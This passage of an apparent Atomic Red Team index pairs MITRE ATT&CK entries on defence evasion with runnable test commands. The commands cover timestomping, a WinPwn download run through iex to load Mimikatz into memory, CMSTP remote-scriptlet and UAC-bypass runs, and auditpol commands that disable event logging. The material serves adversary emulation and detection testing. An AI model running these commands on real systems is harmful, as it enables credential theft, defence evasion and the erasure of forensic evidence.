x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'File: File Metadata' x_mitre_defense_bypassed: - Host forensic analysis x_mitre_permissions_required: - root - SYSTEM - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1070.006 atomic_tests: - name: Set a file's access timestamp auto_generated_guid: 5f9113d5-ed75-47ed-ba23-ea3573d05810 description: 'Stomps on the access timestamp of a file ' supported_platforms: - linux - macos input_arguments: target_filename: description: Path of file that we are going to stomp on last access time type: path default: "/tmp/T1070.006-access.txt" dependencies: - description: 'The file must exist in order to be timestomped ' prereq_command: 'test -e #{target_filename} && exit 0 || exit 1 ' get_prereq_command: 'echo ''T1070.006 file access timestomp test'' > #{target_filename} ' executor: command: 'touch -a -t 197001010000.00 #{target_filename} ' cleanup_command: 'rm -f #{target_filename} ' name: sh - name: Set a file's modification timestamp auto_generated_guid: 20ef1523-8758-4898-b5a2-d026cc3d2c52 description: 'Stomps on the modification timestamp of a file ' supported_platforms: - linux - macos input_arguments: target_filename: description: Path of file that we are going to stomp on last access time type: path default: "/tmp/T1070.006-modification.txt" dependencies: - description: 'The file must exist in order to be timestomped ' prereq_command: 'test -e #{target_filename} && exit 0 || exit 1 ' get_prereq_command: 'echo ''T1070.006 file modification timestomp test'' > #{target_filename} ' executor: command: 'touch -m -t 197001010000.00 #{target_filename} ' cleanup_command: 'rm -f #{target_filename} ' name: sh - name: Set a file's creation timestamp auto_generated_guid: 8164a4a6-f99c-4661-ac4f-80f5e4e78d2b description: | Stomps on the create timestamp of a file Setting the creation timestamp requires changing the system clock and reverting. Sudo or root privileges are required to change date. Use with caution. supported_platforms: - linux - macos input_arguments: target_filename: description: Path of file that we are going to stomp on last access time type: path default: "/tmp/T1070.006-creation.txt" executor: elevation_required: true command: | NOW=$(date +%m%d%H%M%Y) date 010100001971 touch #{target_filename} date "$NOW" stat #{target_filename} cleanup_command: 'rm -f #{target_filename} ' name: sh - name: Modify file timestamps using reference file auto_generated_guid: 631ea661-d661-44b0-abdb-7a7f3fc08e50 description: | Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file. This technique was used by the threat actor Rocke during the compromise of Linux web servers. supported_platforms: - linux - macos input_arguments: target_file_path: description: Path of file to modify timestamps of type: path default: "/tmp/T1070.006-reference.txt" reference_file_path: description: Path of reference file to read timestamps from type: path default: "/bin/sh" executor: command: | touch #{target_file_path} touch -acmr #{reference_file_path} #{target_file_path} cleanup_command: 'rm -f #{target_file_path} ' name: sh - name: Windows - Modify file creation timestamp with PowerShell auto_generated_guid: b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c description: | Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970. supported_platforms: - windows input_arguments: target_date_time: description: Date/time to replace original timestamps with type: string default: 01/01/1970 00:00:00 file_path: description: Path of file to change creation timestamp type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt dependency_executor_name: powershell dependencies: - description: 'A file must exist at the path (#{file_path}) to change the creation time on ' prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Path "#{file_path}" -Force | Out-Null Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null executor: command: 'Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}" } ' name: powershell - name: Windows - Modify file last modified timestamp with PowerShell auto_generated_guid: f8f6634d-93e1-4238-8510-f8a90a20dcf2 description: | Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970. supported_platforms: - windows input_arguments: target_date_time: description: Date/time to replace original timestamps with type: string default: 01/01/1970 00:00:00 file_path: description: Path of file to change modified timestamp type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt dependency_executor_name: powershell dependencies: - description: 'A file must exist at the path (#{file_path}) to change the modified time on ' prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Path "#{file_path}" -Force | Out-Null Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null executor: command: 'Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}" } ' name: powershell - name: Windows - Modify file last access timestamp with PowerShell auto_generated_guid: da627f63-b9bd-4431-b6f8-c5b44d061a62 description: | Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970. supported_platforms: - windows input_arguments: target_date_time: description: Date/time to replace original timestamps with type: string default: 01/01/1970 00:00:00 file_path: description: Path of file to change last access timestamp type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt dependency_executor_name: powershell dependencies: - description: 'A file must exist at the path ("#{file_path}") to change the last access time on ' prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Path "#{file_path}" -Force | Out-Null Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null executor: command: 'Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}" } ' name: powershell - name: Windows - Timestomp a File auto_generated_guid: d7512c33-3a75-4806-9893-69abc3ccdd43 description: "Timestomp kxwn.lock.\n\nSuccessful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. \n\n[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)\n" supported_platforms: - windows input_arguments: file_path: description: File path for timestomp payload type: string default: PathToAtomicsFolder\..\ExternalPayloads dependency_executor_name: powershell dependencies: - description: 'timestomp.ps1 must be present in #{file_path}. ' prereq_command: 'if (Test-Path "#{file_path}\timestomp.ps1") {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1" -OutFile "#{file_path}\timestomp.ps1" ' - description: 'kxwn.lock must be present in #{file_path}. ' prereq_command: 'if (Test-Path -path "#{file_path}\kxwn.lock") {exit 0} else {exit 1} ' get_prereq_command: 'New-Item -Path "#{file_path}\kxwn.lock" -ItemType File ' executor: command: | import-module "#{file_path}\timestomp.ps1" timestomp -dest "#{file_path}\kxwn.lock" name: powershell - name: MacOS - Timestomp Date Modified auto_generated_guid: 87fffff4-d371-4057-a539-e3b24c37e564 description: 'Stomps on the modification timestamp of a file using MacOS''s SetFile utility ' supported_platforms: - macos input_arguments: target_filename: description: 'Path of file that we are going to stomp on last modified time ' type: path default: "/tmp/T1070.006-modified.txt" target_date: description: Date to replace original timestamps with type: string default: 01/01/1970 dependencies: - description: 'The file must exist in order to be timestomped ' prereq_command: 'test -e #{target_filename} && exit 0 || exit 1 ' get_prereq_command: 'echo ''T1070.006 MacOS file modified timestomp test'' > #{target_filename} ' executor: name: sh command: 'SetFile -m #{target_date} #{target_filename} ' cleanup_command: 'rm -f #{target_filename} ' - name: Event Log Manipulations- Time slipping via Powershell auto_generated_guid: 7bcf83bf-f5ef-425c-9d9a-71618ad9ed12 description: "Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. \nReference - \nhttps://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4" supported_platforms: - windows input_arguments: days_to_modify: description: Value to which system time will update type: string default: '3' executor: command: "try{ \n Set-Date -Date (Get-Date).AddDays(#{days_to_modify})\n \ Add-Content \"$env:APPDATA\\slipDays.bak\" #{days_to_modify}\n}\ncatch {exit 1}\n" cleanup_command: | if(Test-Path "$env:APPDATA\slipDays.bak" ){ foreach($line in (get-content $env:APPDATA\slipDays.bak)){ Set-Date -Date (Get-Date).AddDays(-$line) } rm "$env:APPDATA\slipDays.bak" } name: powershell elevation_required: true T1620: technique: modified: '2024-02-09T18:49:08.428Z' name: Reflective Code Loading description: |- Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)). Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad) Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - João Paulo de A. Filho, @Hug1nN__ - Shlomi Salem, SentinelOne - Lior Ribak, SentinelOne - Rex Guo, @Xiaofei_REX, Confluera - Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics - Jiraput Thamsongkrah x_mitre_deprecated: false x_mitre_detection: "Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - macOS - Linux - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Module: Module Load' - 'Script: Script Execution' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Application control - Anti-virus type: attack-pattern id: attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a created: '2021-10-05T01:15:06.293Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1620 external_id: T1620 - source_name: 00sec Droppers description: 0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021. url: https://0x00sec.org/t/super-stealthy-droppers/3715 - source_name: S1 Custom Shellcode Tool description: Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021. url: https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/ - source_name: Mandiant BYOL description: Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 4, 2021. url: https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique - source_name: S1 Old Rat New Tricks description: Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021. url: https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/ - source_name: MDSec Detecting DOTNET description: MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021. url: https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/ - source_name: Microsoft AssemblyLoad description: Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024. url: https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load - source_name: Intezer ACBackdoor description: 'Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.' url: https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/ - source_name: Stuart ELF Memory description: Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021. url: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html - source_name: Introducing Donut description: The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021. url: https://thewover.github.io/Introducing-Donut/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1620 atomic_tests: - name: WinPwn - Reflectively load Mimik@tz into memory auto_generated_guid: 56b9589c-9170-4682-8c3d-33b86ecb5119 description: Reflectively load Mimik@tz into memory technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') mimiload -consoleoutput -noninteractive name: powershell T1564.011: technique: modified: '2023-11-06T20:14:51.609Z' name: Ignore Process Interrupts description: "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) \ These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Viren Chaudhari, Qualys x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b created: '2023-08-24T17:23:34.470Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/011 external_id: T1564.011 - source_name: Linux Signal Man description: Linux man-pages. (2023, April 3). signal(7). Retrieved August 30, 2023. url: https://man7.org/linux/man-pages/man7/signal.7.html - source_name: nohup Linux Man description: Meyering, J. (n.d.). nohup(1). Retrieved August 30, 2023. url: https://linux.die.net/man/1/nohup - source_name: Microsoft PowerShell SilentlyContinue description: Microsoft. (2023, March 2). $DebugPreference. Retrieved August 30, 2023. url: https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference_variables?view=powershell-7.3#debugpreference object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1497.003: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jorge Orchilles, SCYTHE - Ruben Dodge, @shotgunner101 - Jeff Felling, Red Canary - Deloitte Threat Library Team object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0 type: attack-pattern created: '2020-03-06T21:11:11.225Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1497.003 url: https://attack.mitre.org/techniques/T1497/003 - source_name: Deloitte Environment Awareness url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. - source_name: Revil Independence Day url: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/ description: 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.' - source_name: Netskope Nitol url: https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique description: Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021. - source_name: Joe Sec Nymaim url: https://www.joesecurity.org/blog/3660886847485093803 description: Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021. - source_name: Joe Sec Trickbot url: https://www.joesecurity.org/blog/498839998833561473 description: Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021. - source_name: ISACA Malware Tricks url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.' modified: '2022-05-11T14:00:00.188Z' name: Time Based Evasion description: |- Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: 'Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary''s implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ' x_mitre_is_subtechnique: true x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Host forensic analysis - Signature-based detection - Static File Analysis - Anti-virus spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1218.003: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Signed Binary Proxy Execution: CMSTP' description: |- Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Nik Seetharaman, Palantir - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank x_mitre_deprecated: false x_mitre_detection: |- Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '2.1' x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_defense_bypassed: - Anti-virus - Application control type: attack-pattern id: attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49 created: '2020-01-23T18:27:30.656Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218/003 external_id: T1218.003 - source_name: Twitter CMSTP Usage Jan 2018 description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018. url: https://twitter.com/ItsReallyNick/status/958789644165894146 - source_name: Microsoft Connection Manager Oct 2009 description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018. url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) - source_name: MSitPros CMSTP Aug 2017 description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018. url: https://msitpros.com/?p=3960 - source_name: GitHub Ultimate AppLocker Bypass List description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018. url: https://github.com/api0cradle/UltimateAppLockerByPassList - source_name: Endurant CMSTP July 2018 description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018. url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ - source_name: Twitter CMSTP Jan 2018 description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018. url: https://twitter.com/NickTyrer/status/958450014111633408 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1218.003 atomic_tests: - name: CMSTP Executing Remote Scriptlet auto_generated_guid: 34e63321-9683-496b-bbc1-7566bc55e624 description: 'Adversaries may supply CMSTP.exe with INF files infected with malicious commands ' supported_platforms: - windows input_arguments: inf_file_path: description: Path to the INF file type: path default: PathToAtomicsFolder\T1218.003\src\T1218.003.inf dependency_executor_name: powershell dependencies: - description: 'INF file must exist on disk at specified location (#{inf_file_path}) ' prereq_command: 'if (Test-Path "#{inf_file_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{inf_file_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003.inf" -OutFile "#{inf_file_path}" executor: command: 'cmstp.exe /s "#{inf_file_path}" ' name: command_prompt - name: CMSTP Executing UAC Bypass auto_generated_guid: 748cb4f6-2fb3-4e97-b7ad-b22635a09ab0 description: 'Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file ' supported_platforms: - windows input_arguments: inf_file_uac: description: Path to the INF file type: path default: PathToAtomicsFolder\T1218.003\src\T1218.003_uacbypass.inf dependency_executor_name: powershell dependencies: - description: 'INF file must exist on disk at specified location (#{inf_file_uac}) ' prereq_command: 'if (Test-Path "#{inf_file_uac}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{inf_file_uac}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003_uacbypass.inf" -OutFile "#{inf_file_uac}" executor: command: 'cmstp.exe /s "#{inf_file_uac}" /au ' name: command_prompt T1562.002: technique: modified: '2023-09-18T22:33:57.556Z' name: 'Impair Defenses: Disable Windows Event Logging' description: |- Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections. The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol) Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging) There are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the "Start" value in the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System and HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco) By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team - Lucas Heiligenstein x_mitre_deprecated: false x_mitre_detection: "Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \n\nIn Event Viewer, Event ID 1102 under the “Security” Windows Log and 